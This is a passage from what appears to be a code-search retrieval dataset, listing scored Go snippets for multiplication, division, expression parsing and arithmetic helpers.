"cd56ca0f4e3037d6172efc23ad07c090", "score": "0.5230874", "text": "func mult(poly map[int]float64, term1, term2 *term)map[int]float64{\n\tto_add := multterm(term1, term2)\n\tadd(poly, to_add)\n\treturn poly\n}", "title": "" }, { "docid": "097f0f030c11e5df4364b10e9710d9c0", "score": "0.52050227", "text": "func mul_div(n1 int, n2 int) (int, int) {\n\t\t// returning the values.\n\t\treturn n1 * n2, n1 / n2\n}", "title": "" }, { "docid": "7c456bc1e976876f6b6bea12201a8c2d", "score": "0.5170279", "text": "func React(base, altura float64) float64 {\n\treturn base * altura\n}", "title": "" }, { "docid": "555833f7772ce64474cd0ce36a09d580", "score": "0.51667225", "text": "func Div(hi, lo, y uint) (quo, rem uint) {}", "title": "" }, { "docid": "a9a661f2e3c34d07c0b8535f2496f130", "score": "0.51410633", "text": "func Mul10(a, b *GF127)", "title": "" }, { "docid": "94535ab726de54adcff02477b6d5dd45", "score": "0.51107126", "text": "func Mul(x, y uint) (hi, lo uint) {\n\t// amd64:\"MULQ\"\n\t// arm64:\"UMULH\",\"MUL\"\n\t// ppc64x:\"MULHDU\",\"MULLD\"\n\t// s390x:\"MLGR\"\n\t// mips64: \"MULVU\"\n\treturn bits.Mul(x, y)\n}", "title": "" }, { "docid": "ae2c5804ec3ff600f8d808848b5f9f12", "score": "0.50575566", "text": "func TestParser_Term_Multiplication(t *testing.T) {\n\tctrl := gomock.NewController(t)\n\tdefer ctrl.Finish()\n\n\texpected := &ast.BinOp{\n\t\tLeft: &ast.Num{\n\t\t\tToken: token.Token{\n\t\t\t\tType: token.Int,\n\t\t\t\tLexeme: \"20\",\n\t\t\t},\n\t\t\tLexeme: \"20\",\n\t\t},\n\t\tOperator: token.Token{\n\t\t\tType: token.Mul,\n\t\t\tLexeme: \"*\",\n\t\t},\n\t\tRight: &ast.Num{\n\t\t\tToken: token.Token{\n\t\t\t\tType: token.Int,\n\t\t\t\tLexeme: \"15\",\n\t\t\t},\n\t\t\tLexeme: \"15\",\n\t\t},\n\t}\n\n\tm := mock_scanner.NewMockScanner(ctrl)\n\tcurrentToken := token.Token{\n\t\tType: token.Int,\n\t\tLexeme: \"20\",\n\t}\n\tm.\n\t\tEXPECT().\n\t\tNext().\n\t\tReturn(currentToken)\n\n\tparser := parser.New(m)\n\n\tcurrentToken = token.Token{\n\t\tType: token.Mul,\n\t\tLexeme: \"*\",\n\t}\n\n\t// Creating mock\n\tafter := m.\n\t\tEXPECT().\n\t\tNext().\n\t\tReturn(currentToken)\n\n\tcurrentToken = token.Token{\n\t\tType: token.Int,\n\t\tLexeme: \"15\",\n\t}\n\n\tafter = m.EXPECT().Next().Return(currentToken).After(after)\n\n\tcurrentToken = token.Token{\n\t\tType: token.EOF,\n\t\tLexeme: \"\",\n\t}\n\n\tm.\n\t\tEXPECT().\n\t\tNext().\n\t\tAnyTimes().\n\t\tReturn(currentToken)\n\n\texpression, err := parser.Term()\n\tassert.Nil(t, err)\n\n\t// sanity check\n\toperation, ok := expression.(*ast.BinOp)\n\tassert.True(t, ok)\n\n\tassert.Equal(t, expected.Operator, operation.Operator)\n\tassert.Equal(t, expected.Right, operation.Right)\n\tassert.Equal(t, expected.Left, operation.Left)\n}", "title": "" }, { "docid": "048d9fdef50a00355a0a16bcdaa9763a", "score": "0.50536263", "text": "func Mul(x, y uint) (hi, lo uint) {}", "title": "" }, { "docid": "7f0c4cec9e5425fa97016efa8ed08a07", "score": "0.50496906", "text": "func isFactorOf(factor int, number int) bool {\n\treturn number%factor == 0\n}", "title": "" }, { "docid": "bc0b37823a48376968647eaf86563fd6", "score": "0.5029931", "text": "func Mult(f func (fact int) (int, int)) {\n\ts1, s2 := f(5)\n\tfmt.Println(\"x5\\t\", s1, s2)\n\n\ts1, s2 = f(10)\n\tfmt.Println(\"x10\\t\", s1, s2)\n}", "title": "" }, { "docid": "9efaf844ec23f99eaa20ac1cca859842", "score": "0.5028734", "text": "func (parser *Parser) ParseFactor() ast.Expression {\n\tvar tok = parser.peek()\n\tdebug(\"ParseFactor => peek: %s\", tok)\n\n\tif tok.Type == ast.T_PAREN_START {\n\n\t\tparser.expect(ast.T_PAREN_START)\n\t\tvar expr = parser.ParseExpression()\n\t\tparser.expect(ast.T_PAREN_END)\n\t\treturn expr\n\n\t} else if tok.Type == ast.T_INTERPOLATION_START {\n\n\t\tparser.expect(ast.T_INTERPOLATION_START)\n\t\tparser.ParseExpression()\n\t\tparser.expect(ast.T_INTERPOLATION_END)\n\t\t// TODO:\n\n\t} else if tok.Type == ast.T_QQ_STRING || tok.Type == ast.T_Q_STRING {\n\n\t\ttok = parser.next()\n\t\tvar str = ast.NewString(tok)\n\t\treturn ast.Expression(str)\n\n\t} else if tok.Type == ast.T_INTEGER || tok.Type == ast.T_FLOAT {\n\n\t\t// reduce number\n\t\tvar number = parser.ParseNumber()\n\t\treturn ast.Expression(number)\n\n\t} else if tok.Type == ast.T_FUNCTION_NAME {\n\n\t\tvar fcall = parser.ParseFunctionCall()\n\t\treturn ast.Expression(*fcall)\n\n\t} else if tok.Type == ast.T_IDENT {\n\n\t\tvar ident = parser.ParseIdent()\n\t\treturn ast.Expression(ident)\n\n\t} else if tok.Type == ast.T_HEX_COLOR {\n\t\tpanic(\"hex color is not implemented yet\")\n\t} else {\n\t\tpanic(fmt.Errorf(\"Unknown Token: %s\", tok))\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "0ecdc118ab1eb635d77af81aec8aae7c", "score": "0.50031567", "text": "func (d *FractionalRatio) Multiply(base Frequency) Frequency {\n\tif d.C == 0 {\n\t\treturn base * Frequency(d.A)\n\t}\n\treturn Frequency(float64(base) * (float64(d.A) + float64(d.B)/float64(d.C)))\n}", "title": "" }, { "docid": "7a3a406f6e72a3d82705e03cd10056f4", "score": "0.49957448", "text": "func Div(a, b Funk) Funk {\n\treturn func(f float64) float64 {\n\t\treturn a(f) / b(f)\n\t}\n}", "title": "" }, { "docid": "038ec1e0f8525ac21e0a9addd53e46b9", "score": "0.49899155", "text": "func Mult(a, b Funk) Funk {\n\treturn func(f float64) float64 {\n\t\treturn a(f) * b(f)\n\t}\n}", "title": "" }, { "docid": "816939a11aa8c8741ca768eba7f0ec6c", "score": "0.49630612", "text": "func (prim *primitive) Term() llvm.Value { return prim.term }", "title": "" }, { "docid": "3bb36ae618e09e9d2e8bd55c17edc5dd", "score": "0.4943415", "text": "func (f F64d2) Mul(value F64d2) F64d2 {\n\treturn f * value / F64d2(multiplierF64d2)\n}", "title": "" }, { "docid": "85ee4512b2fc9a3868f18a1cd74d8e73", "score": "0.4929828", "text": "func (_StableToken *StableTokenSession) FractionMulExp(aNumerator *big.Int, aDenominator *big.Int, bNumerator *big.Int, bDenominator *big.Int, exponent *big.Int, _decimals *big.Int) (*big.Int, *big.Int, error) {\n\treturn _StableToken.Contract.FractionMulExp(&_StableToken.CallOpts, aNumerator, aDenominator, bNumerator, bDenominator, exponent, _decimals)\n}", "title": "" }, { "docid": "fd2356f5e602f8b0bd9c6ba8ead6a0b2", "score": "0.49177244", "text": "func (r *MathResult) Divisor() int32 {\n\treturn r.divisor\n}", "title": "" }, { "docid": "1b681185f8d4c079c8f7fbab0337389f", "score": "0.4906717", "text": "func div(gpr *reg.GPR, hi *types.DoubleWord, lo *types.DoubleWord, inst *InstR) *aluOutput {\n\trs := int32(gpr.Read(inst.Rs))\n\trt := int32(gpr.Read(inst.Rt))\n\t*hi = types.DoubleWord(rs / rt)\n\t*lo = types.DoubleWord(rs % rt)\n\treturn nil\n}", "title": "" }, { "docid": "365ccfdb7320a72bb4ec449655a40bf0", "score": "0.48988622", "text": "func (f F64d2) Div(value F64d2) F64d2 {\n\treturn f * F64d2(multiplierF64d2) / value\n}", "title": "" }, { "docid": "4d9a415e3859e45a76f696bb5994bdc0", "score": "0.48839194", "text": "func RepunitDivisor(n int) int {\n\tif n&1 == 0 || n%5 == 0 {\n\t\treturn 0\n\t}\n\tu := 1\n\tru := 1\n\n\tfor u != 0 {\n\t\tfor n > u {\n\t\t\tu = u*10 + 1\n\t\t\tru++\n\t\t}\n\t\tu = u % n\n\t}\n\treturn ru\n}", "title": "" }, { "docid": "8ef14f383dea7328de0010f6e7d36a11", "score": "0.4863437", "text": "func mul(a sdk.Uint, b sdk.Uint) sdk.Uint {\n\tif a.IsZero() {\n\t\treturn ZeroUint\n\t}\n\tc := a.Mul(b)\n\trequireThat(c.Quo(a).Equal(b), \"uint overflow from multiplication\")\n\treturn c\n}", "title": "" }, { "docid": "c4b382173098f2c591318e6ee9beecc0", "score": "0.4860176", "text": "func div(interpreter *Interpreter) {\n\tnum2 := interpreter.PopFloat()\n\tnum1 := interpreter.PopFloat()\n\tinterpreter.Push(num1 / num2)\n}", "title": "" }, { "docid": "334194e2eeac2b01bde5a13e4c92f377", "score": "0.48585513", "text": "func calc(operator rune, left, right float64) (float64, error) {\n\tswitch operator {\n\tcase '+':\n\t\treturn left + right, nil\n\tcase '-':\n\t\treturn left - right, nil\n\tcase '*':\n\t\treturn left * right, nil\n\tcase '/':\n\t\treturn left / right, nil\n\tdefault:\n\t\treturn math.NaN(), fmt.Errorf(\"unknown Operation: '%s'\", string(operator))\n\t}\n}", "title": "" }, { "docid": "90bc17cfdea6b20605d571b8f746cf20", "score": "0.48395735", "text": "func Ldiv(numer, denom int32) LdivT {\n\treturn LdivT{\n\t\tQuot: numer / denom,\n\t\tRem: numer % denom,\n\t}\n}", "title": "" }, { "docid": "ef6d849848553a22f81e225ab9e72221", "score": "0.48283407", "text": "func TestParser_Factor_TestUnarySub(t *testing.T) {\n\tctrl := gomock.NewController(t)\n\n\tdefer ctrl.Finish()\n\n\tm := mock_scanner.NewMockScanner(ctrl)\n\texpected := token.Token{\n\t\tType: token.Sub,\n\t\tLexeme: \"-\",\n\t}\n\tm.\n\t\tEXPECT().\n\t\tNext().\n\t\tReturn(expected)\n\n\tparser := parser.New(m)\n\texpected = token.Token{\n\t\tLexeme: \"20\",\n\t\tType: token.Int,\n\t}\n\tm.\n\t\tEXPECT().\n\t\tNext().\n\t\tAnyTimes().\n\t\tReturn(expected)\n\n\texpression, err := parser.Factor()\n\tif err != nil {\n\t\tt.Error(err)\n\t}\n\n\t// sanity checks\n\tnode, ok := expression.(*ast.UnaryOp)\n\tassert.True(t, ok)\n\n\tnum, ok := node.Expression.(*ast.Num)\n\tassert.True(t, ok)\n\n\tassert.Equal(t, \"20\", num.Lexeme)\n\tassert.Equal(t, \"-\", node.Operator.Lexeme)\n\tassert.Equal(t, token.Sub, node.Operator.Type)\n}", "title": "" }, { "docid": "25008d5fde82144ea4312ce6f2262b50", "score": "0.48258647", "text": "func mult(d ...data.Data) data.Data {\n\tprod := d[0].(data.Number) // Set the prod to the first operand\n\tfor _, num := range d[1:] {\n\t\tprod *= num.(data.Number)\n\t}\n\treturn prod\n}", "title": "" }, { "docid": "dc54eae846e0a63e53defc23f32a15fb", "score": "0.4824699", "text": "func arithmetic(tk obj.Token, val oop.Val) float64 {\n\tswitch val.Type {\n\tcase oop.Func,\n\t\toop.Package,\n\t\toop.StructDef,\n\t\toop.ClassDef,\n\t\toop.ClassIns,\n\t\toop.None:\n\t\tfract.IPanic(tk, obj.ArithmeticPanic,\n\t\t\t\"\\\"\"+val.String()+\"\\\" is not compatible with arithmetic processes!\")\n\tcase oop.Map:\n\t\tfract.IPanic(tk, obj.ArithmeticPanic,\n\t\t\t\"\\\"object.map\\\" is not compatible with arithmetic processes!\")\n\tcase oop.StructIns:\n\t\tfract.IPanic(tk, obj.ArithmeticPanic,\n\t\t\t\"\\\"object.structins\\\" is not compatible with arithmetic processes!\")\n\tcase oop.Pointer:\n\t\tfract.IPanic(tk, obj.ArithmeticPanic,\n\t\t\t\"\\\"pointer\\\" is not compatible with arithmetic processes!\")\n\tcase oop.Bool:\n\t\tif val.Data.(bool) {\n\t\t\treturn 1\n\t\t}\n\t\treturn 0\n\t}\n\treturn val.Data.(float64)\n}", "title": "" }, { "docid": "c6ec431fc547d1ca78a52055ad5a6b30", "score": "0.4820479", "text": "func fastDiv(val uint32, mn *magicNumber) uint32 {\n\tq := high32(mn.multiplier, val)\n\treturn q >> mn.shift\n}", "title": "" }, { "docid": "38bd6e2ed215a37241562ff1c9100e4c", "score": "0.481804", "text": "func (_StableToken *StableTokenCaller) FractionMulExp(opts *bind.CallOpts, aNumerator *big.Int, aDenominator *big.Int, bNumerator *big.Int, bDenominator *big.Int, exponent *big.Int, _decimals *big.Int) (*big.Int, *big.Int, error) {\n\tvar (\n\t\tret0 = new(*big.Int)\n\t\tret1 = new(*big.Int)\n\t)\n\tout := &[]interface{}{\n\t\tret0,\n\t\tret1,\n\t}\n\terr := _StableToken.contract.Call(opts, out, \"fractionMulExp\", aNumerator, aDenominator, bNumerator, bDenominator, exponent, _decimals)\n\treturn *ret0, *ret1, err\n}", "title": "" }, { "docid": "032164ef30337143ebf7bca0ace5a35d", "score": "0.480375", "text": "func (_StableToken *StableTokenCallerSession) FractionMulExp(aNumerator *big.Int, aDenominator *big.Int, bNumerator *big.Int, bDenominator *big.Int, exponent *big.Int, _decimals *big.Int) (*big.Int, *big.Int, error) {\n\treturn _StableToken.Contract.FractionMulExp(&_StableToken.CallOpts, aNumerator, aDenominator, bNumerator, bDenominator, exponent, _decimals)\n}", "title": "" }, { "docid": "eeb171042ea93cf1a69a2b30fa8da2f2", "score": "0.4803157", "text": "func bord(mag, w1, wc float64, typ rune) float64 {\n\tswitch typ {\n\tcase 'l':\n\t\treturn math.Ceil(math.Log10(math.Pow(10, -mag/10)-1) / (2 * math.Log10(w1/wc)))\n\tdefault:\n\t\tpanic(\"unknown filter type\")\n\t}\n}", "title": "" }, { "docid": "40f147ec7d682fae9a7d8986d51c169e", "score": "0.47977817", "text": "func Div(denom float64) MapFunc {\n\treturn func(v float64) float64 {\n\t\treturn v / denom\n\t}\n}", "title": "" }, { "docid": "35523e93954883ad5e416239e3548fa1", "score": "0.4783057", "text": "func Mul11(a, b *GF127)", "title": "" }, { "docid": "a3cb5399c15faba22bdc1e16207f5c4e", "score": "0.47683007", "text": "func (w *whereClause) factorQuery(factor *Factor) (string, error) {\n\tterms := []string{}\n\tfor _, term := range factor.Terms {\n\t\ttq, err := w.termQuery(term)\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t\tterms = append(terms, tq)\n\t}\n\tif len(terms) == 1 {\n\t\treturn terms[0], nil\n\t}\n\treturn \"(\" + strings.Join(terms, \" OR \") + \")\", nil\n}", "title": "" }, { "docid": "f1d9d8613f44676150003c63b005bb96", "score": "0.47574177", "text": "func (fa *Fraction) Div(fb Fraction) {\n\tnfb := Fraction{\n\t\tNumerator: fb.Denominator,\n\t\tDenominator: fb.Numerator,\n\t}\n\tfa.Mult(nfb)\n}", "title": "" }, { "docid": "47da20e4e23ce980d375f216841cb2b7", "score": "0.4755538", "text": "func (c Cost) Mul(count uint32) Cost {\n\treturn Cost{\n\t\tMinerals: c.Minerals * count,\n\t\tVespene: c.Vespene * count,\n\t\tFood: c.Food * count,\n\t}\n}", "title": "" }, { "docid": "3a728e97de3537250e412c84a4d9dede", "score": "0.4750512", "text": "func (o *InlineObject834) SetFactor(v AnyOfobject) {\n\to.Factor = &v\n}", "title": "" }, { "docid": "ec6cc9929c61b81ef477b3f7dcf84292", "score": "0.47438625", "text": "func Div(numer, denom int32) DivT {\n\treturn DivT{\n\t\tQuot: numer / denom,\n\t\tRem: numer % denom,\n\t}\n}", "title": "" }, { "docid": "9624d0d69aee4c9cd38603c117775487", "score": "0.47374818", "text": "func (p *parser) parseMultiplicativeExpr(n node) node {\n\topnd := p.parseUnaryExpr(n)\nLoop:\n\tfor {\n\t\tvar op string\n\t\tif p.r.typ == itemStar {\n\t\t\top = \"*\"\n\t\t} else if testOp(p.r, \"div\") || testOp(p.r, \"mod\") {\n\t\t\top = p.r.name\n\t\t} else {\n\t\t\tbreak Loop\n\t\t}\n\t\tp.next()\n\t\topnd = newOperatorNode(op, opnd, p.parseUnaryExpr(n))\n\t}\n\treturn opnd\n}", "title": "" }, { "docid": "061f14d5aa7519df7f980906151a62bb", "score": "0.47278145", "text": "func div(d ...data.Data) data.Data {\n\tresult := d[0].(data.Number) // Set the result to the first operand\n\tfor _, num := range d[1:] {\n\t\tresult /= num.(data.Number)\n\t}\n\treturn result\n}", "title": "" }, { "docid": "73ea7a1f8bbc7409985a2869966d23d8", "score": "0.47259986", "text": "func (a Blade) Mul(b Blade) Blade {\n\treturn Blade{signOf(a.Basis, b.Basis) * a.Scalar * b.Scalar, a.Basis ^ b.Basis}\n}", "title": "" }, { "docid": "6e76f1fa61f7943945a313b087eb943d", "score": "0.4724799", "text": "func (n *bigNumber) mul(x *bigNumber, y *bigNumber) *bigNumber {\n\t//it does not work in place, that why the temporary bigNumber is necessary\n\treturn karatsubaMul(n, x, y)\n}", "title": "" }, { "docid": "253c14374807e6ed62c99bdaa56e713e", "score": "0.47211745", "text": "func div(a, b int) (q, r int) {\n\treturn a / b, a % b\n}", "title": "" }, { "docid": "253c14374807e6ed62c99bdaa56e713e", "score": "0.47211745", "text": "func div(a, b int) (q, r int) {\n\treturn a / b, a % b\n}", "title": "" }, { "docid": "55726f50bb7d034d187dd5e1477019b4", "score": "0.47185633", "text": "func Mul(val1 UInt128, val2 UInt128) UInt128 {\n\tnewValue := val1.Clone()\n\tnewValue.Mul(val2)\n\treturn newValue\n}", "title": "" }, { "docid": "046d9bfb3236b6ce0afa796cf54c1085", "score": "0.47155216", "text": "func TestParser_Factor_TestUnaryAdd(t *testing.T) {\n\tctrl := gomock.NewController(t)\n\n\tdefer ctrl.Finish()\n\n\tm := mock_scanner.NewMockScanner(ctrl)\n\texpected := token.Token{\n\t\tType: token.Add,\n\t\tLexeme: \"+\",\n\t}\n\tm.\n\t\tEXPECT().\n\t\tNext().\n\t\tReturn(expected)\n\n\tparser := parser.New(m)\n\texpected = token.Token{\n\t\tLexeme: \"20\",\n\t\tType: token.Int,\n\t}\n\tm.\n\t\tEXPECT().\n\t\tNext().\n\t\tAnyTimes().\n\t\tReturn(expected)\n\n\texpression, err := parser.Factor()\n\tif err != nil {\n\t\tt.Error(err)\n\t}\n\n\t// sanity checks\n\tnode, ok := expression.(*ast.UnaryOp)\n\tassert.True(t, ok)\n\n\tnum, ok := node.Expression.(*ast.Num)\n\tassert.True(t, ok)\n\n\tassert.Equal(t, \"20\", num.Lexeme)\n\tassert.Equal(t, \"+\", node.Operator.Lexeme)\n\tassert.Equal(t, token.Add, node.Operator.Type)\n}", "title": "" }, { "docid": "13f180978ef2bdf11504ee6951bced18", "score": "0.4714362", "text": "func mult(gpr *reg.GPR, hi *types.DoubleWord, lo *types.DoubleWord, inst *InstR) *aluOutput {\n\tresult := types.DoubleWord(int64(gpr.Read(inst.Rt)) * int64(gpr.Read(inst.Rs)))\n\t// TODO: We need to do some investigation about write back timing\n\t// . Should we add 20 cycle delay for 64bit mode?\n\t// ref. https://en.wikipedia.org/wiki/R4000#Integer_execution\n\t// . See also, https://github.com/ofuton-dev/n64emu/pull/18\n\t*hi = result >> 32\n\t*lo = result & 0xFFFFFFFF\n\treturn nil\n}", "title": "" }, { "docid": "d0e050d9d37815069755357d0cbc8bef", "score": "0.47095814", "text": "func gfMultiply(a, b gfElement) gfElement {\n\tif a == gfZero || b == gfZero {\n\t\treturn gfZero\n\t}\n\n\treturn gfExpTable[(gfLogTable[a]+gfLogTable[b])%255]\n}", "title": "" }, { "docid": "6c25757979ab64aef880152fdb84004d", "score": "0.47082046", "text": "func ParseTerms(terms []Term) []Term {\n\tfor i := range terms {\n\t\topSplit := regexp.MustCompile(\"[\\\\*\\\\/]|[^\\\\*\\\\/]*\")\n\t\tsubTokens := opSplit.FindAllString(terms[i].token, -1)\n\t\texpVal := true\n\t\tisDiv := false\n\t\tterms[i].vars = make(map[string]int, 1)\n\t\tfor _, token := range subTokens {\n\t\t\tif !expVal {\n\t\t\t\tswitch token {\n\t\t\t\tcase \"/\":\n\t\t\t\t\tisDiv = true\n\t\t\t\tcase \"*\":\n\t\t\t\t\tisDiv = false\n\t\t\t\tdefault:\n\t\t\t\t\tlog.Fatalf(\"unexpected value %s from term %s\", token, terms[i].token)\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tif token[0] == 'X' {\n\t\t\t\t\tif strings.Contains(token, \"^\") {\n\t\t\t\t\t\tvariable, power := ParseVar(token)\n\t\t\t\t\t\tif isDiv {\n\t\t\t\t\t\t\tterms[i].vars[variable] -= power\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tterms[i].vars[variable] += power\n\t\t\t\t\t\t}\n\t\t\t\t\t} else {\n\t\t\t\t\t\tif isDiv {\n\t\t\t\t\t\t\tterms[i].vars[\"X\"]--\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tterms[i].vars[\"X\"]++\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tvar value float32\n\t\t\t\t\tif strings.Contains(token, \"^\") {\n\t\t\t\t\t\tvalue = ParsePow(token)\n\t\t\t\t\t} else {\n\t\t\t\t\t\tvalue = ParseFloat(token)\n\t\t\t\t\t}\n\t\t\t\t\tif isDiv {\n\t\t\t\t\t\tterms[i].coef /= value\n\t\t\t\t\t} else {\n\t\t\t\t\t\tterms[i].coef *= value\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\texpVal = !expVal\n\t\t}\n\t}\n\treturn terms\n}", "title": "" }, { "docid": "aadb4e4a2828b4df661c130f5e3fa5a5", "score": "0.4703377", "text": "func checkFactor() bool {\n\tif val, ok := factorOperators[currentToken.data]; ok {\n\t\tcurrentToken.translation = val\n\t\tcurrentToken.priority = 2\n\t\tupdateCurrentSlice()\n\t\treturn true\n\t} else {\n\t\treturn checkExpo()\n\t}\n}", "title": "" }, { "docid": "7992c4632b6247105cf031bc80360e30", "score": "0.47029763", "text": "func Imag( a *context.Value ) (*context.Value,error) {\n if a != nil {\n return context.FloatValue( a.Imaginary() ), nil\n }\n\n return nil, unsupportedMathType\n}", "title": "" }, { "docid": "413e893772ddcb683cd61d51ebd474a8", "score": "0.46962053", "text": "func properDivisors(num int64) []int64 {\n\tfmap := make(map[int64]bool)\n\tfmap[1] = true\n\tfmap[num] = true\n\n\tfor i := int64(2); i < num; i++ {\n\t\t// If a number we are testing has already been found as a factor there\n\t\t// are no more factors to find.\n\t\tif _, exists := fmap[i]; exists {\n\t\t\tbreak\n\t\t}\n\n\t\tif num%i == 0 {\n\t\t\tfmap[i] = true\n\t\t\tfmap[num/i] = true\n\t\t}\n\t}\n\n\tfactors := make([]int64, len(fmap)-1)\n\ti := 0\n\tfor k := range fmap {\n\t\tif k < num {\n\t\t\tfactors[i] = k\n\t\t\ti++\n\t\t}\n\t}\n\n\treturn factors\n}", "title": "" }, { "docid": "33ef3e8d8f470f671307ab851bdb00cf", "score": "0.46932006", "text": "func lexOperator(l *Scanner) stateFn {\n\t// It might be an inner product or reduction, but only if it is a binary operator.\n\tword := l.input[l.start:l.pos]\n\tif word == \"o\" || value.BinaryOps[word] != nil || l.context.UserDefined(word, true) {\n\t\tswitch l.peek() {\n\t\tcase '/', '\\\\':\n\t\t\t// Reduction or scan.\n\t\t\tl.next()\n\t\t\tif l.peek() == '%' {\n\t\t\t\tl.next()\n\t\t\t}\n\t\tcase '.':\n\t\t\t// Inner or outer product?\n\t\t\tl.next() // Accept the '.'.\n\t\t\tif isDigit(l.peek()) { // Is a number after all, as in 3*.7. Back up.\n\t\t\t\tl.backup()\n\t\t\t\treturn l.emit(Operator) // Up to but not including the period.\n\t\t\t}\n\t\t\tprevPos := l.pos\n\t\t\tr := l.next()\n\t\t\tswitch {\n\t\t\tcase l.isOperator(r):\n\t\t\tcase isAlphaNumeric(r):\n\t\t\t\tfor isAlphaNumeric(r) {\n\t\t\t\t\tr = l.next()\n\t\t\t\t}\n\t\t\t\tl.backup()\n\t\t\t\tif !l.atTerminator() {\n\t\t\t\t\treturn l.errorf(\"bad character %#U\", r)\n\t\t\t\t}\n\t\t\t\tword := l.input[prevPos:l.pos]\n\t\t\t\tif !l.defined(word) {\n\t\t\t\t\treturn l.errorf(\"%s not an operator\", word)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\tif isIdentifier(l.input[l.start:l.pos]) {\n\t\treturn l.emit(Identifier)\n\t}\n\treturn l.emit(Operator)\n}", "title": "" }, { "docid": "2dd70bbb9494c0b965cd0dd7acb1121c", "score": "0.4684348", "text": "func mulr(in [3]int) {\n\tregs[in[C]] = regs[in[A]] * regs[in[B]]\n}", "title": "" }, { "docid": "a8a8f36fca527e15fd3bcbfc5203f796", "score": "0.46822256", "text": "func (cr *compiler) parseTerm() interface{} {\n\tskiptoChar(cr.r)\n\tc, _ := cr.r.ReadByte()\n\tif isLiteral(c) {\n\t\tcr.r.UnreadByte()\n\t\treturn cr.parseLiteralTerm()\n\t}\n\tif isInteger(c) {\n\t\tcr.r.UnreadByte()\n\t\treturn intTerm{readint(cr.r)}\n\t}\n\tswitch c {\n\tcase '(':\n\t\tterm := cr.parseExpr()\n\t\tneedchar(cr.r, ')')\n\t\treturn term\n\tcase '\"':\n\t\tbytes, _ := cr.r.ReadBytes('\"')\n\t\ts := string(bytes[:len(bytes)-2])\n\t\tterm := strTerm{s}\n\t\treturn term\n\tcase '-', '~':\n\t\tterm := unaryOpTerm{\n\t\t\tbyte: c,\n\t\t\tterm: cr.parseTerm(),\n\t\t}\n\t\treturn term\n\tdefault:\n\t\tcr.r.UnreadByte()\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "dd060ddf49fa0e3e4511df8eafca519f", "score": "0.46489725", "text": "func (c *GF127) Mul(a, b *GF127) *GF127 {\n\tMul(a, b, c)\n\treturn c\n}", "title": "" }, { "docid": "06e6237c3da52134d765cc5320c5a508", "score": "0.46435425", "text": "func divu(gpr *reg.GPR, hi *types.DoubleWord, lo *types.DoubleWord, inst *InstR) *aluOutput {\n\trs := types.Word(gpr.Read(inst.Rs))\n\trt := types.Word(gpr.Read(inst.Rt))\n\t*hi = types.DoubleWord(rs / rt)\n\t*lo = types.DoubleWord(rs % rt)\n\treturn nil\n}", "title": "" }, { "docid": "ae96f02881b23c2e03b0a042fcde7348", "score": "0.46405047", "text": "func (d ClockDivider) Factor() uint8 {\n\treturn (1 << uint(d))\n}", "title": "" }, { "docid": "f7ba3c580041991af3be0937e7a0377d", "score": "0.46367285", "text": "func lcd(a, b int) int {\n\treturn (a * b) / gcd(a, b)\n}", "title": "" }, { "docid": "882ef2751bada3651d9f880eab04330c", "score": "0.4627963", "text": "func fingerMath(n []byte, i int, m int) []byte {\n\tnInt := &big.Int{}\n\tnInt.SetBytes(n)\n\tiInt := big.NewInt(int64(i))\n\tmInt := big.NewInt(int64(m))\n\n\tsum := big.Int{}\n\tabsolute := sum.Add(nInt, (&big.Int{}).Exp(big.NewInt(int64(2)), iInt, big.NewInt(int64(0))))\n\tfinger := (&big.Int{}).Mod(absolute, (&big.Int{}).Exp(big.NewInt(int64(2)), mInt, big.NewInt(int64(0))))\n\treturn finger.Bytes()\n}", "title": "" }, { "docid": "26367c8f8f041cc7c181635ab6aab81b", "score": "0.46248895", "text": "func Div(a, b int) int { return a / b }", "title": "" }, { "docid": "2a05742276530a57a9878c32d32dae69", "score": "0.4620434", "text": "func TestFieldMul(t *testing.T) {\n\ttests := []struct {\n\t\tname string // test description\n\t\tin1 string // first hex encoded value\n\t\tin2 string // second hex encoded value to multiply with\n\t\texpected string // expected hex encoded value\n\t}{{\n\t\tname: \"zero * zero\",\n\t\tin1: \"0\",\n\t\tin2: \"0\",\n\t\texpected: \"0\",\n\t}, {\n\t\tname: \"one * zero\",\n\t\tin1: \"1\",\n\t\tin2: \"0\",\n\t\texpected: \"0\",\n\t}, {\n\t\tname: \"zero * one\",\n\t\tin1: \"0\",\n\t\tin2: \"1\",\n\t\texpected: \"0\",\n\t}, {\n\t\tname: \"one * one\",\n\t\tin1: \"1\",\n\t\tin2: \"1\",\n\t\texpected: \"1\",\n\t}, {\n\t\tname: \"slightly over prime\",\n\t\tin1: \"ffffffffffffffffffffffffffffffffffffffffffffffffffffffff1ffff\",\n\t\tin2: \"1000\",\n\t\texpected: \"1ffff3d1\",\n\t}, {\n\t\tname: \"secp256k1 prime-1 * 2\",\n\t\tin1: \"fffffffffffffffffffffffffffffffffffffffffffffffffffffffefffffc2e\",\n\t\tin2: \"2\",\n\t\texpected: \"fffffffffffffffffffffffffffffffffffffffffffffffffffffffefffffc2d\",\n\t}, {\n\t\tname: \"secp256k1 prime * 3\",\n\t\tin1: \"fffffffffffffffffffffffffffffffffffffffffffffffffffffffefffffc2f\",\n\t\tin2: \"3\",\n\t\texpected: \"0\",\n\t}, {\n\t\tname: \"secp256k1 prime * 3\",\n\t\tin1: \"fffffffffffffffffffffffffffffffffffffffffffffffffffffffefffffc2e\",\n\t\tin2: \"8\",\n\t\texpected: \"fffffffffffffffffffffffffffffffffffffffffffffffffffffffefffffc27\",\n\t}, {\n\t\tname: \"random sampling #1\",\n\t\tin1: \"cfb81753d5ef499a98ecc04c62cb7768c2e4f1740032946db1c12e405248137e\",\n\t\tin2: \"58f355ad27b4d75fb7db0442452e732c436c1f7c5a7c4e214fa9cc031426a7d3\",\n\t\texpected: \"1018cd2d7c2535235b71e18db9cd98027386328d2fa6a14b36ec663c4c87282b\",\n\t}, {\n\t\tname: \"random sampling #2\",\n\t\tin1: \"26e9d61d1cdf3920e9928e85fa3df3e7556ef9ab1d14ec56d8b4fc8ed37235bf\",\n\t\tin2: 